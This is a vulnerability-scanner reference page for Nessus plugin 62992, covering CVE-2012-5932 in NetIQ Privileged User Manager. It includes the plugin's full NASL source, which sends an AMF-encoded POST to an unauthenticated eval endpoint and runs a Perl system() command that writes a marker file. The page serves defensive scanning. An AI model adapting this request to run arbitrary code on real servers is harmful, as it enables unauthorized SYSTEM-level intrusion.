NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) - Nessus

Critical Plugin ID: 62992

This page contains detailed information about the NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 62992
Name: NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
Filename: netiq_pum_command_exec.nasl
Vulnerability Published: 2012-11-15
This Plugin Published: 2012-11-21
Last Modification Time: 2021-01-19
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: netiq_pum_detect.nasl
Required KB Items [?]: www/netiq_pum
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: Critical
Vulnerability Published: 2012-11-15
Patch Published: 2012-11-20
CVE [?]: CVE-2012-5932
CPE [?]: cpe:/a:netiq:privileged_user_manager

Synopsis

The remote host has a web application that is affected by a remote code execution vulnerability.

Description

The NetIQ Privileged User Manager install hosted on the remote web server contains a flaw that is triggered when an error occurs in the 'ldapagnt_eval()' function when parsing requests. An unauthenticated attacker could exploit this flaw to execute arbitrary code with SYSTEM privileges.

Nessus was able to exploit this vulnerability via a specially crafted POST request and create a remotely-accessible file on the web server.

Solution

Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.

Public Exploits

Target Network Port(s): 80, 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) vulnerability:

Metasploit: exploit/windows/novell/netiq_pum_eval
[NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution]
Exploit-DB: exploits/windows/remote/22738.txt
[EDB-22738: Novell NetIQ Privileged User Manager 2.3.1 - 'ldapagnt.dll' ldapagnt_eval() Perl Code Evaluation Remote Code Execution]
D2 Elliot: novell_netiq_2.3.1_rce.html
[Novell NetIQ 2.3.1 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	9.5 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.5 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:X

CVSS Base Score:	9.8 (Critical)
Impact Subscore:	5.9
Exploitability Subscore:	3.9
CVSS Temporal Score:	9.1 (Critical)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.1 (Critical)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(62992);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-5932");
  script_bugtraq_id(56539);
  script_xref(name:"EDB-ID", value:"22738");

  script_name(english:"NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)");
  script_summary(english:"Tries to create a file on web server");

  script_set_attribute(attribute:"synopsis", value:
"The remote host has a web application that is affected by a remote 
code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The NetIQ Privileged User Manager install hosted on the remote web
server contains a flaw that is triggered when an error occurs in the
'ldapagnt_eval()' function when parsing requests.  An unauthenticated
attacker could exploit this flaw to execute arbitrary code with SYSTEM
privileges. 

Nessus was able to exploit this vulnerability via a specially crafted 
POST request and create a remotely-accessible file on the web server.");
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011385");
  script_set_attribute(attribute:"solution", value:"Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell NetIQ 2.3.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");


  script_set_attribute(attribute:"patch_publication_date",value:"2012/11/20");
  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:netiq:privileged_user_manager");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("netiq_pum_detect.nasl");
  script_require_ports("Services/www", 80, 443);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/netiq_pum");

  exit(0);
}

include("audit.inc");
include("byte_func.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

# app runs on port 443 by default, but can be configured to run on port 80
port = get_http_port(default:443);

appname = "NetIQ Privileged User Manager";
kb_appname = "netiq_pum";

install = get_install_from_kb(appname:kb_appname, port:port, exit_on_fail:TRUE);
dir = install['dir'];

svc_str = get_kb_item_or_exit("www/"+port+"/"+kb_appname+"/svc_str");

filename = 'Nessus' + rand();
# perl script that will be executed with SYSTEM privs
code = 'system("echo Nessus was here - ' + SCRIPT_NAME + ' > ./service/local/admin/docs/' + filename + '");';

identity = "nessus"; # can be anything

# Try to execute perl script
# AMF encoded data
postdata =
  raw_string(0x00,0x00,0x00,0x00,0x00,0x01,
             0x00,0x14) + # len
  "SPF.Util.callModuleA" + 
  raw_string(0x00,0x00,0x00,0x00,0x02,0x0a,0x0a,0x00,0x00,0x00,0x01,
             0x03, # obj
             0x00,0x03) + # len
  "pkt" +
  raw_string(0x03, # obj
             0x00,0x06) + # len
  "method" +
  raw_string(0x02, # str
             0x00,0x04) + # len
  "eval" +
  raw_string(0x00,0x06) + # len
  "module" +
  raw_string(0x02, # str
             0x00,0x08) + # len
  "ldapagnt" +
  raw_string(0x00,0x04) + # len
  "Eval" +
  raw_string(0x03, # obj
             0x00,0x07) + # len
  "content" + 
  raw_string(0x02) + # str
  mkword(strlen(code) + 4) +
  code +
  raw_string(0x0a,0x0a,0x0a,0x0a, # \n\n\n\n
             0x00,0x00,0x09, # end obj
             0x00,0x00,0x09, # end obj
             0x00,0x03) + # len
  "uid" +
  raw_string(0x02) + # str
  mkword(strlen(identity)) + # len
  identity + 
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x08) + # len
  "svc_name" +
  raw_string(0x02) + # str
  mkword(strlen(svc_str)) + # len
  svc_str +
  raw_string(0x00,0x00,0x09); # end obj

res = http_send_recv3(
  method:'POST',
  item:dir + '/',
  port:port,
  add_headers:make_array(
    'Content-Type', 'application/x-amf', # required
    'x-flash-version', '11,4,402,278'
  ),
 data:postdata, 
  exit_on_fail:TRUE
);

# give file time to create...
sleep(2);

# check if file exist
res = http_send_recv3(
  method:'GET',
  item:dir + '/' + filename,
  port:port,
  exit_on_fail:TRUE
);

if ('Nessus was here' >< res[2])
{
  report = '\nNessus was able to create the following file on the server : \n\n' +
           '  ' + build_url(qs:dir + '/' + filename, port:port) + '\n';
  security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(qs:dir, port:port));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/netiq_pum_command_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\netiq_pum_command_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/netiq_pum_command_exec.nasl

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How to Run

Here is how to run the NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) plugin ID 62992.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl netiq_pum_command_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a netiq_pum_command_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - netiq_pum_command_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state netiq_pum_command_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

56539

See also:

Similar and related Nessus plugins:

63185 - NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (version check)
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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file netiq_pum_command_exec.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

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NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check) - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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